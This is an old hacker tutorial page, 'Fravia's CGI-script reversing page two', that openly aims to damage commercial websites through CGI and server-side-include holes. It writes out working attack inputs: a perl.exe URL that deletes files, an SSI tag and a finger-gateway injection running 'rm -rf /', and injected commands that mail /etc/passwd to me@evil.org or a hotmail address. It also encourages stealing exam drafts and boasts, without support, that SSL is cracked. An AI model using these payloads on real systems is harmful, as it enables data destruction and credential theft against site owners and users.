Crackers against Smut

Fravia's CGI-script reversing
page TWO

Our main aims

Well, we want to destroy, or lame, or at least damage commercially all commercial oriented sites that are pestering the Web.
Therefore we want, more or less, the following:

*)	know which server operating system they are using

*)	know which CGI-language they are using (compiled or interpreted)

*)	know WHERE their CGI-scripts are, how they work and what they do

*)	gain information about their directory structure

*)	gain information about their server configuration

*)	gain access to the source code of their CGI-scripts

*)	introduce our own scripts (trough various tricks)

*)	gain access to their server configuration files

*)	fuck completely and if possible irrimediably the whole site

No operating system is more secure than another. The ones that say such things are just probably trying to sell (or have just bought) a specific operating system.
Yet UNIX is arguably more secure than a single-user platform such as a Macintosh or a PC running Windows, because once you break into one of these latter machines, you can access all the files :-)
UNIX, however, has a fundamental understanding of file ownerships and permissions. Yet even if the target server is configured so that it is owned by a safe (for example, non-root) user, which is the best option that the sysad can choose, and even if, then, we can do only limited damage breakĖng in, this same limited damage, however, can be bad enough, as you will see in my examples, later in this chapter.

On the other hand, because UNIX often comes preconfigured with many different types of network services such as mail, FTP, Gopher, WWW, and so on, there are more potential "doors" for someone to enter. Securing all of these services is a difficult and time-consuming process, even for the few experienced administrators around, that's the reason they don't actually check them all too often :-) And even if they configure everything "correctly" (from their point of view), they are still at the mercy of the many bugs that exist in each individual commercial package.
Security flaws in various packages are very common, as is clear from the frequency of notices about insecurities... just have a look at the Computer Emergency Response Team (CERT) site (which you should by all means peruse and study :-)

Every different platform has its own different security implications, but one is not more secure than another. In order to begin approaching this kind of activities, remember that there are a countless number of Web servers available for a variety of platforms. As a rule of thumb: the older and more frequently used the Web server, the more likely security bugs have been found and yet have NOT been fixed.
You may not believe it, but the 'snowball' effect inside the Web makes it possible that VERY WELL KNOWN and DEEPLY STUDIED AND ADVERTISED bugs and backdoors are STILL THERE!
Therefore study, read, study and read.

Read what people on the various Web Usenet newsgroups have to say about each product and its authors or publishers. Read the various security alerts from organizations such as CERT and CIAC (Computer Incident Advisory Capability). Monitor the best hacker sites (you'll be able to find most of them even if your search start from my few hacker links, yet you better use -wisely- a couple of search engines for this endeavour :-)
Study the servers' code if it is freely available... which is the RULE for the most popular servers... that's the very reason they are so popular! I have fetched the whole Apache libraries recently on a discount magazine cover cd-rom... without even the need to download them and clutter my harddisks :-)
So, if the code is freely available, look through the source code yourself and see if you can find a new potential hole. Most of the time you will... the more complex and powerful the server, the more likely there is an undetected security hole... and most new 'hurried up' sites, like many of the commercial smut ones, have chosen the 'last server frill' instead of using good old NCSA :-)

CGIs, where are you?

As discussed earlier in cgi-script reversing page one; most Web servers enable you to run CGI programs in many different ways. For example, they could have designatet a specific directory as user cgi-bin. Alternatively, they could allow CGI to be stored in any user directory (i.e. in almost any directory)

There are advantages and disadvantages to both, from a security standpoint, it is better to designate one directory to store all CGI applications. Having all CGI programs in one directory makes it easier for lazy sysadmins to keep track of all of the applications on their server and to audit them for potential security holes. It also helps them to prevent our tampering: if the scripts are located in several different directories, they need to constantly check each one of these for our tampering activities :-)

If our target uses a scripting language (such as Perl) for most of its applications, then the source code is contained within the application itself. This code, then, is potentially vulnerable to being read, and exploited, if the sysads of the target have not been extremely careful!
There are very simple attempts that you can try yourself in order to get the source code of the CGI-scripts (once you know their names, have seen how they work and what they do and having decided which one are potentially the most useful ones to be used as "Troian horses")
For example, many text editors save backup files, usually appending some extension to the end of the filename (such as .bak).
For example, many operating system create temporary files, usually appending some extension to the end of the filename (such as .tmp) and preceding the filename with a ~ (such as ~wrl0001.tmp).

For example, emacs saves backup files with the extension filename~. Suppose that there is a CGI script written in Perl—program.cgi—stored in one of the Web data directories rather than in a central designated directory. Now suppose that the sysadm has made a trivial change to the program using emacs and forgot to remove the backup file. You now have two files in your target directory: program.cgi and program.cgi~. The Web server knows that files ending in .cgi are CGI programs and will run the program rather than display its content (yet we'll see how to get those files 'sended over' too). However, a smart cracker might try to access program.cgi~ instead. Because it does not end in .cgi, the target Web server sends it as a raw text file, thus allowing the cracker to search at leisure the CGI source code for possible holes!

However, if the target server specifies all files located in a certain directory as a CGI, it doesn't matter what the extension of the file is. So in the same example earlier, if the backup file were located in a properly designated directory (the cgi one, as opposed to some user's 'perypheric' directory) and a cracker tried to access it, the server would try to run the program EVEN WITH ITS EXTENSION "cgi~" rather than send over to us the source code.

You may ask why the sysads don't do it routinely... well: designating a central directory as the location of all CGI programs on a server is extremely limiting, especially on a multiuser system. For example, all Internet Service Provider want to allow their users to write and run their own CGI, for concurrence reasons, and are inclined to allow CGI to be stored in any directory.
Usually sysads allow spreaded CGI-depositories if their clients are going to be writing a lot of special customized scripts!
That suits us well: commercial smut dealers (and commercial advertisers too for that matter) are the most prolific writers of special customized scripts that you can find around :-)

Another issue regarding the location of CGI programs is where did they put the interpreter. For interpreted scripts, the server runs the interpreter, which in turn loads the script and executes it.

Unfortunately the interpreter is seldom located inside the target cgi-bin directory (or in any directory of our targets' data trees for that matter).
Giving us access to the interpreter essentially gives us the power to run any application or any series of commands on the target system.
I remember early days, when I could bust a lot of commercial sites that way... now it happens seldom, yet occasionally it does and that's real fun! The whole target goes KA-boom! under your very eyes!

This is more easy if the target uses a Windows or other non-UNIX operating system, as it happens ofter and ofter nowadays :-)
In UNIX, they specify the interpreter in the first line of their scripts. For example:

#!/usr/local/bin/perl

# this first line says use Perl to run the script that follows

...

In Windows, for example, there is no analogous method of specifying the interpreter within the script. One way to call a Perl script would be to create a batch file that calls Perl and the script:

rem progname.bat

rem a wrapper for my perl script, progname.pl

c:\perl\perl.exe progname.pl

...

However, they often avoid creating this extra program by simply putting perl.exe in their cgi-bin directory and accessing the following URL:

http://hostname/cgi-bin/perl.exe?progname.pl

AS soon as you see something like this perusing the web you know that a VERY big fish has bited! The above method works orright, but it also enables anyone in the world to run any Perl command on that machine.

http://hostname/cgi-bin/perl.exe?-e+unlink+%3C*.*%3E%3B

Decoded, the previous line is equivalent to calling Perl and running the following one-line program, which will delete all the files in the current directory.

unlink <*.*>;

Clearly, this is great fun (and it is only a very 'quiet' example... download the Perl Camel book and learn a little Perl... THAT will give some pepper to your web perusing activities :-)

Some Windows servers can determine the type of script by its extension and run the appropriate interpreter. For example, Win-HTTPD assumes every CGI script ending in .pl is a Perl script and will run Perl automatically.

SSI strategic simulation? No: server-side include!

By allowing server-side include, commercial smut sites offer some attack points.
On a UNIX machine, the programs are run by the owner of the server, not the owner of the program. If the target server isn't "properly" configured and there are sensitive files or programs owned by the server owner, as it happens frequently, these files and programs, and their output, become accessible for us

This is even more feasible if they allow users to edit HTML files on their systems from Web browsers!
A common example of this is a guestbook. In a guestbook, users fill out a form and submit messages to a CGI program, which will often simply append the unedited message to an HTML file, the guestbook itself.
By not editing or filtering the submitted message, they allow the user to submit HTML code from his browser. If they allow programs to be executed in a server-side include, we can wreak havoc to our target machines by submitting a tag like the following:

<!--#exec cmd="/bin/rm -rf /"-->

This server-side include is very useful for smut-sites bashing: it will attempt to delete everything it can on the target machine.

Note that the sysads try to prevent this problem in several ways without having to completely turn off server-side includes. They try to filter out all HTML tags before appending the submitted text to the guestbooks. Or they disable the exec capability of our server-side include.

Attacking should not be made in a hurry, anyway, it is often more clever to profit of these first 'breaks' in order to gain even more information, in order to destriy even better the target smut site!
Suppose that instead of attempting to delete everything on the smut site's disks, we attempt to obtain the sysads /etc/passwd for hopeful cracking purposes... using something like the following:

		<!--#exec cmd="/bin/mail me@evil.org < /etc/passwd"-->

This examples demonstrate a VERY IMPORTANT TRUTH about both server-side includes and CGI in general: Security holes can be completely hidden. Few people know that a simple guestbook program on a system with server-side includes poses a large security risk!
Besides a 'normal' server has at least 100 different CGI-scripts written by not less than 25-30 different authors!
Social engineering can also help a lot... most authors brag about their (pathetical) CGI-scripts, with source code and everything, on their own homepages!

So, we have seen some very complicated ways to access the cgi-source, yet with HTTP it is trivial to bypass a form (or even the browser) and remotely access the SCRIPT directly from the COMMAND LINE of your workstation.

telnet www80

connect www.slac.stanford.edu   ;special site for demonstration purposes

escape character is '^]'

			GET /cgi-bin/pingre?foo;mail+hcu4412@hotmail.com

A common way to control access to files is based on the IP access control (say restrictin access to nodes with IP address= 210.56.*.* yet this cannot work for the smut sites, which are struggling to get lusers from wherever they come. A good idea is, anyway, to bang around the web using a dynamic IP provider (a multi user host like AOL or Compuserve, or whatever), that will not cost you anything at all (see for information about free anonymous web surfing) and is very seldom IP-restricted, for obvious reasons.

Most smut sites (most sites for that matter :-) have a list of 'authorized' users each with an assigned user name and password, as we have seen, some servers also support groups of users. When a protected file or image or directory is accessed, the browser pops up a dialog box asking for the user name and password, and gives access if valid, else throws up an 'authorization failed' URL.
Yet:

-	There is a significant administration overhead for maintaining such 

	lists, and therefore these lists are NOT updated all too often...

-	Stupid user park must remember these passwords and tend to use the same 

	schemes (see a general approach) that are 

	easy to guess. Automated password generation (that users dislike)

	is also fairly easy to crack :-)

-	Most web servers allow an infinite number of guesses!

-	Passwords are NOT encrypted (not even on military servers :-) and 

	therefore are vulnerable to our sniffers

This last point deserves some more information. Encryption on the web is a huge area, and if you want to learn it really you'll be gone for the next three years (yet some very good (and old) crackers have taken that path, let's hope they will bring something back before they die :-).
There are two current standards for REAL encryption:
- Secure Socket Layer (SSL) from Netscape
- S-HTTP from the CommerceNet coalition
They both use pair of keys, a public one and a private one.

They work like PGP: you encrypt a message with your private key and only people that know your public key can decrypt the message AND know that it is yours, i.e. it is also like a signature.
People encrypt messages with your public key and only you can decrypt them, since you are the only one that knows his own private key.

SSL Connection ping-pong:
- browser connects to server via HTTPS
- server sends back digital signature
- browser verifies digital signature (signed by a trustworthy CA)
- if OK browser generates a master key based on a random number, encrypts with server's public key and sends to server
- server decrypts master key trough its private key
- browser and server generate session key based on master key and random numbers and now have both an identical session key
- data between browser and server is encrypted using said session key

Sounds impressive when you read it like that, doesn't it? And yet +ORC has already cracked it :-)

Let's go back to some other CGI-script tricks... which are IMO great fun: time to learn and use the Perl ticks!

Observe the finger gateway written in Perl inside Kim's Listing below. All this program is doing is allowing the user to specify a user and a host, and the CGI will finger the user at the host and display the results.

Listing: finger.cgi.

#!/usr/local/bin/perl

# finger.cgi - an unsafe finger gateway

require 'cgi-lib.pl';

print &PrintHeader;

if (&ReadParse(*in)) {

  print "<pre>\n";

  print `/usr/bin/finger $in{'username'}`;

  print "</pre>\n";

}

else {

  print "<html> <head>\n";

  print "<title>Finger Gateway</title>\n";

  print "</head>\n<body>\n";

  print "<h1>Finger Gateway</h1>\n";

  print "<form method=POST>\n";

  print "<p>User@Host: <input type=text name=\"username\">\n";

  print "<p><input type=submit>\n";

  print "</form>\n";

  print "</body> </html>\n";

}

At first glance, this might seem like a harmless finger gateway. There's no danger of a buffer overflow because it is written in Perl. It uses the complete pathname of the finger binary so the gateway can't be tricked into using a fake finger program. If the input is in an improper format, the gateway will return an error, but not one that can be manipulated by us.

However, what if we try entering the following field:

nobody@nowhere.org ; /bin/rm -rf /

Work out how the following line of the perl script above will deal with our input:

print `/usr/bin/finger $in{'username'}`;

Because we are using back ticks (`), first it will spawn a shell.
Then it will execute the following command:

/usr/bin/finger nobody@nowhere.org ; /bin/rm -rf /

What will this do? Imagine typing this in at the command line. It will wipe out all of the files and directories it can, starting from the root directory. OK: we assume that the rm command was in the /bin directory.We could also have assumed that rm was in the path. On a chrooted environment that does not have the rm binary located anywhere in the directory tree this would not have worked... however, both of the guesses above are pretty reasonable guesses for the majority of UNIX machines, yet they are not global truths: In reality, most Web environments are not chrooted, simply because it prevents the flexibility many people need in a Web server.
This will also almost always work unless they have rendered the semicolon (;) metacharacter harmless.

Even if we could not remove all the files in a target smut site because the server was not running as root, we could just as easily have tryed to input the following command, which would have e-mailed the /etc/passwd file to me@evil.org for our cracking pleasure :-)

nobody@nowhere.org ; /bin/mail me@evil.org < /etc/passwd

This follows the same principle as above... by now you should be able to understand how and why :-)
Let's see another example: say you find (or suppose :-) a (poor) shell script called "pinger" or whatever, inside the cgi-bin of your target smut site, looking more or less like this:

			#!bin/sh

			host='ping -c 5 $1'

			foo; mail hcu2234@hotmail.com < /etc/passwd

As you can see, if such holes slip past the sysads inside a simple CGI program, you can be sure that they will never have properly and securely configured their complicated UNIX system and Web server :-)

Notice that the file you are 'asking' for does not have to be /etc/passwd... it could be any file accessible to the server (including afs and nfs), like (for instance) the drafts of the examination tests you would have to solve tomorrow at your local university (and university servers are, if possible, even less secured than the smut sites' ones :-)
Knowledge -not money any more- means now power my dears... we have entered a new age... get used to this.

Notice that there are several more functions in Perl that spawn the shell than there are in C. It is not immediately obvious, even to the intermediate Perl programmers, that back ticks spawn a shell before executing the program. This is the alternative value of higher-level languages for cracking purposes, as we know from our software reversing studies: our enemies mostly don't know what security holes a function might cause because they don't necessarily know exactly what it does, don't forget that they DON'T UNDERSTAND SOURCE CODE and have only access to some (biased) high level languages books... but we do understand assembly, oh yes, we do! And we can beat them black and blue every time we like...
That is, we may, if we study and experiment a lot... and if we will build on each other using the real strenght of Internet: free non commercial team working! People coming from places that you don't even know exist will help you to understand better than anybody else all these complex matters in few weeks on a "do ut des" basis!
For an incredible example of the incredible MIGHT (in matters of software cracking) that the Web allows, if non-commercial minds gather together and work for free on some projects, see our students' essays pages !
Yes: reading all this stuff here won't help you much, nor help me at all, unless you work on this on your own AND CONTRIBUTE!

Crackers against Smut

Fravia's main site
homepage +ORC anon counter measures tools +HCU Academy stalking enslavement
students' essays cocktails links search_forms mail_fravia+
Is reverse engineering legal?